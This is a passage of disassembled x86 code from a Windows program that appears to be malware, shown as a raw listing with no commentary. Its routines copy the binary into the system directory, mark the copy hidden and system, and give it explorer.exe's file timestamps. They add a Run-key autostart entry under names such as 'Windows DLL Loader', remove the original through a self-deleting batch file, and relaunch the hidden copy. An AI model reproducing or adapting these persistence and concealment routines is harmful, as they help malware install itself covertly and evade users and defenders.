		call	ds:dword_4170A4	; CloseHandle

locret_40668D:				; CODE XREF: sub_406643+Bj
					; sub_406643+24j
		leave
		retn
sub_406643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668F	proc near		; CODE XREF: sub_403DF3+149p
					; sub_40A9CF+BDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4066A0
; ---------------------------------------------------------------------------


loc_406699:				; CODE XREF: sub_40668F+2Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066A0:				; CODE XREF: sub_40668F+8j
		cmp	[ebp+var_4], 8
		jge	short loc_4066BB
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_406699
; ---------------------------------------------------------------------------


loc_4066BB:				; CODE XREF: sub_40668F+15j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066CF
; ---------------------------------------------------------------------------


loc_4066C8:				; CODE XREF: sub_40668F+59j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066CF:				; CODE XREF: sub_40668F+37j
		cmp	[ebp+var_4], 6
		jge	short loc_4066EA
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066C8
; ---------------------------------------------------------------------------


loc_4066EA:				; CODE XREF: sub_40668F+44j
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax+6], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066FE
; ---------------------------------------------------------------------------


loc_4066F7:				; CODE XREF: sub_40668F+88j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066FE:				; CODE XREF: sub_40668F+66j
		cmp	[ebp+var_4], 10h
		jge	short loc_406719
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4066F7
; ---------------------------------------------------------------------------


loc_406719:				; CODE XREF: sub_40668F+73j
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax+10h], 0
		leave
		retn
sub_40668F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406722	proc near		; CODE XREF: sub_40A9CF+F40p

var_424		= byte ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
var_418		= byte ptr -418h
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 424h
		cmp	[ebp+arg_4], 0
		jnz	short loc_406736
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406736:				; CODE XREF: sub_406722+Dj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+4]
		cmp	eax, 5Ch
		jz	short loc_406747
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406747:				; CODE XREF: sub_406722+1Ej
		push	4
		push	offset aHkcr	; "HKCR"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_406769
		mov	[ebp+var_218], 80000000h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_406769:				; CODE XREF: sub_406722+39j
		push	4
		push	offset aHkcu	; "HKCU"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40678B
		mov	[ebp+var_218], 80000001h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_40678B:				; CODE XREF: sub_406722+5Bj
		push	4
		push	offset aHklm	; "HKLM"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067AD
		mov	[ebp+var_218], 80000002h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067AD:				; CODE XREF: sub_406722+7Dj
		push	4
		push	offset aHkus	; "HKUS"
		push	[ebp+arg_4]
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4067CF
		mov	[ebp+var_218], 80000003h
		jmp	short loc_4067D4
; ---------------------------------------------------------------------------


loc_4067CF:				; CODE XREF: sub_406722+9Fj
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4067D4:				; CODE XREF: sub_406722+45j
					; sub_406722+67j ...
		mov	eax, [ebp+arg_4]
		add	eax, 5
		mov	[ebp+arg_4], eax
		push	[ebp+arg_4]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_210], eax
		jmp	short loc_4067FB
; ---------------------------------------------------------------------------


loc_4067EE:				; CODE XREF: sub_406722:loc_406858j
		mov	eax, [ebp+var_210]
		dec	eax
		mov	[ebp+var_210], eax


loc_4067FB:				; CODE XREF: sub_406722+CAj
		cmp	[ebp+var_210], 0
		jnz	short loc_406809
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_406809:				; CODE XREF: sub_406722+E0j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_210]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406858
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 200h
		jb	short loc_40683A
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40683A:				; CODE XREF: sub_406722+111j
		mov	eax, [ebp+var_210]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_40685A
; ---------------------------------------------------------------------------


loc_406858:				; CODE XREF: sub_406722+F6j
		jmp	short loc_4067EE
; ---------------------------------------------------------------------------


loc_40685A:				; CODE XREF: sub_406722+134j
		cmp	[ebp+var_210], 200h
		jb	short loc_40686B
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_40686B:				; CODE XREF: sub_406722+142j
		push	[ebp+var_210]
		push	[ebp+arg_4]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_210]
		and	[ebp+eax+var_418], 0
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		push	0
		lea	eax, [ebp+var_418]
		push	eax
		push	[ebp+var_218]
		call	ds:dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_4068B5
		jmp	locret_406A21
; ---------------------------------------------------------------------------


loc_4068B5:				; CODE XREF: sub_406722+18Cj
		mov	[ebp+var_8], 1000h
		push	[ebp+var_8]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_214], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_214]
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	eax, [ebp+var_20C]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_41700C	; RegQueryValueExA
		test	eax, eax
		jnz	loc_406A0C
		cmp	[ebp+var_4], 1
		jz	short loc_4068FF
		cmp	[ebp+var_4], 2
		jnz	short loc_406915


loc_4068FF:				; CODE XREF: sub_406722+1D5j
		push	[ebp+var_214]
		push	offset aS	; "%s"
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406915:				; CODE XREF: sub_406722+1DBj
		cmp	[ebp+var_4], 4
		jnz	short loc_406933
		mov	eax, [ebp+var_214]
		push	dword ptr [eax]
		push	offset a08x	; "%08X"
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch


loc_406933:				; CODE XREF: sub_406722+1F7j
		cmp	[ebp+var_4], 3
		jnz	loc_406A0C
		push	180h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_420], eax
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0
		and	[ebp+var_41C], 0
		jmp	short loc_40696D
; ---------------------------------------------------------------------------


loc_406960:				; CODE XREF: sub_406722+2C3j
		mov	eax, [ebp+var_41C]
		inc	eax
		mov	[ebp+var_41C], eax


loc_40696D:				; CODE XREF: sub_406722+23Cj
		mov	eax, [ebp+var_41C]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4069EA
		mov	eax, [ebp+var_214]
		add	eax, [ebp+var_41C]
		movzx	eax, byte ptr [eax]
		push	eax
		push	offset a02x	; "%02X"
		lea	eax, [ebp+var_424]
		push	eax
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B40	; strlen
		pop	ecx
		add	eax, 3
		cmp	eax, 180h
		jb	short loc_4069D1
		push	[ebp+var_420]
		push	offset aS	; "%s"
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		mov	eax, [ebp+var_420]
		and	byte ptr [eax],	0


loc_4069D1:				; CODE XREF: sub_406722+28Ej
		lea	eax, [ebp+var_424]
		push	eax
		push	[ebp+var_420]
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		jmp	loc_406960
; ---------------------------------------------------------------------------


loc_4069EA:				; CODE XREF: sub_406722+254j
		push	[ebp+var_420]
		push	offset aS	; "%s"
		push	[ebp+arg_0]
		call	sub_40D53F
		add	esp, 0Ch
		push	[ebp+var_420]
		call	sub_416B4C	; free
		pop	ecx


loc_406A0C:				; CODE XREF: sub_406722+1CBj
					; sub_406722+215j
		push	[ebp+var_214]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_C]
		call	ds:dword_417028	; RegCloseKey

locret_406A21:				; CODE XREF: sub_406722+Fj
					; sub_406722+20j ...
		leave
		retn
sub_406722	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A23	proc near		; CODE XREF: sub_40D043:loc_40D18Dp
					; sub_40D871:loc_40DB71p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset asc_418DE4 ; "\\"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	offset dword_41DC40
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	ds:dword_4170AC	; DeleteFileA
		push	offset dword_4182AC
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short locret_406AE5
		push	[ebp+var_108]
		push	1
		push	2
		push	offset asc_418DE0 ; ":)"
		call	sub_416B7C	; fwrite
		add	esp, 10h
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_406B81
		pop	ecx

locret_406AE5:				; CODE XREF: sub_406A23+90j
		leave
		retn
sub_406A23	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AE7	proc near		; CODE XREF: sub_40D043+13Dp
					; sub_40D871+2F3p

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset asc_418DE4 ; "\\"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	offset dword_41DC40
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	offset aRb	; "rb"
		lea	eax, [ebp+var_20C]
		push	eax
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_108], eax
		cmp	[ebp+var_108], 0
		jz	short loc_406B7D
		push	[ebp+var_108]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax
		jmp	short locret_406B7F
; ---------------------------------------------------------------------------


loc_406B7D:				; CODE XREF: sub_406AE7+83j
		xor	eax, eax

locret_406B7F:				; CODE XREF: sub_406AE7+94j
		leave
		retn
sub_406AE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B81	proc near		; CODE XREF: sub_406A23+BCp
					; sub_406E8E+246p

var_120		= dword	ptr -120h
var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	104h
		lea	eax, [ebp+var_11C]
		push	eax
		call	ds:dword_417040	; GetWindowsDirectoryA
		push	offset aExplorer_exe ; "\\explorer.exe"
		lea	eax, [ebp+var_11C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	ds:dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	ds:dword_417048	; GetFileTime
		push	[ebp+var_120]
		call	ds:dword_4170A4	; CloseHandle
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	ds:dword_417044	; CreateFileA
		mov	[ebp+var_120], eax
		cmp	[ebp+var_120], 0FFFFFFFFh
		jz	short locret_406C4F
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_120]
		call	ds:dword_41704C	; SetFileTime
		push	[ebp+var_120]
		call	ds:dword_4170A4	; CloseHandle

locret_406C4F:				; CODE XREF: sub_406B81+5Aj
					; sub_406B81+A8j
		leave
		retn
sub_406B81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C51	proc near		; CODE XREF: sub_406E8E+133p
					; sub_406E8E+214p ...

var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	ds:dword_417014	; RegCreateKeyExA
		cmp	[ebp+arg_0], 0
		jz	short loc_406CE1
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset asc_418DE4 ; "\\"
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_41703C	; lstrlenA
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	1
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	ds:dword_417010	; RegSetValueExA
		jmp	short loc_406CED
; ---------------------------------------------------------------------------


loc_406CE1:				; CODE XREF: sub_406C51+30j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	ds:dword_417004	; RegDeleteValueA


loc_406CED:				; CODE XREF: sub_406C51+8Ej
		push	[ebp+var_4]
		call	ds:dword_417028	; RegCloseKey
		leave
		retn
sub_406C51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CF8	proc near		; CODE XREF: sub_406D47+2Bp
					; sub_406E8E+253p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8], eax
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_C], eax
		and	[ebp+var_4], 0
		jmp	short loc_406D1D
; ---------------------------------------------------------------------------


loc_406D16:				; CODE XREF: sub_406CF8:loc_406D40j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_406D1D:				; CODE XREF: sub_406CF8+1Cj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jnb	short loc_406D42
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 5Ch
		jnz	short loc_406D40
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_8], eax


loc_406D40:				; CODE XREF: sub_406CF8+39j
		jmp	short loc_406D16
; ---------------------------------------------------------------------------


loc_406D42:				; CODE XREF: sub_406CF8+2Bj
		mov	eax, [ebp+var_8]
		leave
		retn
sub_406CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D47	proc near		; CODE XREF: sub_406E8E+9p
					; sub_407148+9p

var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	104h
		lea	eax, [ebp+var_108]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_406CF8
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		lea	eax, [ebp+var_108]
		push	eax
		call	ds:dword_417038	; SetCurrentDirectoryA
		leave
		retn
sub_406D47	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D90	proc near		; CODE XREF: sub_406E8E+25Ap
					; sub_407148+168p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	8
		push	4
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		and	[ebp+var_1C], 0


loc_406DA8:				; CODE XREF: sub_406D90:loc_406DDFj
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_1C]
		mov	[ebp+ecx+var_18], al
		mov	eax, [ebp+var_1C]
		inc	eax
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jnz	short loc_406DDF
		push	offset a_bat	; ".bat"
		mov	eax, [ebp+var_1C]
		lea	eax, [ebp+eax+var_18]
		push	eax
		call	sub_416B3A	; strcpy
		pop	ecx
		pop	ecx
		jmp	short loc_406DE1
; ---------------------------------------------------------------------------


loc_406DDF:				; CODE XREF: sub_406D90+37j
		jmp	short loc_406DA8
; ---------------------------------------------------------------------------


loc_406DE1:				; CODE XREF: sub_406D90+4Dj
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_8], eax
		push	400h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_4170AC	; DeleteFileA
		push	0
		push	0
		push	2
		push	0
		push	0
		push	40000000h
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_417044	; CreateFileA
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0FFFFFFFFh
		jnz	short loc_406E2B
		xor	eax, eax
		jmp	short locret_406E8C
; ---------------------------------------------------------------------------


loc_406E2B:				; CODE XREF: sub_406D90+95j
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	[ebp+arg_0]
		push	offset a@echoOffDelete ; "@echo	off\r\n:deleteagain\r\ndel /A:H	/F %s"...
		push	[ebp+var_24]
		call	ds:dword_4171E0	; wsprintfA
		add	esp, 18h
		and	[ebp+var_4], 0
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_24]
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	ds:dword_417068	; WriteFile
		push	[ebp+var_28]
		call	ds:dword_4170A4	; CloseHandle
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	offset aOpen	; "open"
		push	0
		call	ds:dword_4171D0	; ShellExecuteA
		push	1
		pop	eax

locret_406E8C:				; CODE XREF: sub_406D90+99j
		leave
		retn
sub_406D90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E8E	proc near		; CODE XREF: .text:loc_4169E1p

var_368		= dword	ptr -368h
var_338		= word ptr -338h
var_324		= byte ptr -324h
var_220		= dword	ptr -220h
var_21C		= byte ptr -21Ch
var_118		= byte ptr -118h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 368h
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_324]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		and	[ebp+var_14], 0
		and	[ebp+var_220], 0
		jmp	short loc_406ED1
; ---------------------------------------------------------------------------


loc_406EC4:				; CODE XREF: sub_406E8E:loc_406FF8j
		mov	eax, [ebp+var_220]
		inc	eax
		mov	[ebp+var_220], eax


loc_406ED1:				; CODE XREF: sub_406E8E+34j
		mov	eax, [ebp+var_220]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_406FFD
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_21C]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset asc_418DE4 ; "\\"
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		lea	eax, [ebp+var_21C]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_406FF8
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		push	1
		call	sub_406C51
		add	esp, 0Ch
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		mov	eax, [ebp+var_220]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105AD
		pop	ecx
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_406FF8:				; CODE XREF: sub_406E8E+E3j
		jmp	loc_406EC4
; ---------------------------------------------------------------------------


loc_406FFD:				; CODE XREF: sub_406E8E+53j
		push	[ebp+var_14]
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		push	104h
		lea	eax, [ebp+var_118]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset asc_418DE4 ; "\\"
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_14]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_118]
		push	eax
		call	ds:dword_4170AC	; DeleteFileA


loc_40707C:				; DATA XREF: .data:0041AD4Co
					; .data:0041AD60o ...
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_324]
		push	eax
		call	ds:dword_417060	; CopyFileA
		test	eax, eax
		jnz	short loc_4070AF
		push	offset aPacked_exe ; "packed.exe"
		push	offset aWindowsDllLoad ; "Windows DLL Loader"
		push	1
		call	sub_406C51
		add	esp, 0Ch
		jmp	locret_407146
; ---------------------------------------------------------------------------


loc_4070AF:				; CODE XREF: sub_406E8E+206j
		push	4
		lea	eax, [ebp+var_118]
		push	eax
		call	ds:dword_4170A8	; SetFileAttributesA
		push	2
		lea	eax, [ebp+var_118]
		push	eax
		call	ds:dword_4170A8	; SetFileAttributesA
		lea	eax, [ebp+var_118]
		push	eax
		call	sub_406B81
		pop	ecx
		lea	eax, [ebp+var_324]
		push	eax
		call	sub_406CF8
		pop	ecx
		push	eax
		call	sub_406D90
		pop	ecx
		push	44h
		push	0
		lea	eax, [ebp+var_368]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_368], 44h
		and	[ebp+var_338], 0
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_368]
		push	eax
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [ebp+var_118]
		push	eax
		push	0
		call	ds:dword_41707C	; CreateProcessA
		call	ds:dword_417254	; WSACleanup
		push	0
		call	sub_416BFC	; exit

locret_407146:				; CODE XREF: sub_406E8E+165j
					; sub_406E8E+21Cj
		leave
		retn
sub_406E8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407148	proc near		; CODE XREF: sub_402A32+7BBp
					; sub_40A9CF+145Fp ...

var_20C		= byte ptr -20Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		call	sub_406D47
		push	104h
		lea	eax, [ebp+var_20C]
		push	eax
		push	0
		call	ds:dword_41708C	; GetModuleHandleA
		push	eax
		call	ds:dword_417090	; GetModuleFileNameA
		and	[ebp+var_108], 0
		jmp	short loc_407187
; ---------------------------------------------------------------------------


loc_40717A:				; CODE XREF: sub_407148:loc_4072DBj
		mov	eax, [ebp+var_108]
		inc	eax
		mov	[ebp+var_108], eax


loc_407187:				; CODE XREF: sub_407148+30j
		mov	eax, [ebp+var_108]
		shl	eax, 1
		cmp	off_418B88[eax*4], 0
		jz	loc_4072E0
		push	104h
		lea	eax, [ebp+var_104]
		push	eax
		call	ds:dword_417050	; GetSystemDirectoryA
		push	offset asc_418DE4 ; "\\"
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416B70	; strcat
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_416F74	; _stricmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4072DB
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B88[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
		shl	eax, 1
		push	off_418B8C[eax*4]
		call	sub_4105FB
		pop	ecx
		mov	eax, [ebp+var_108]
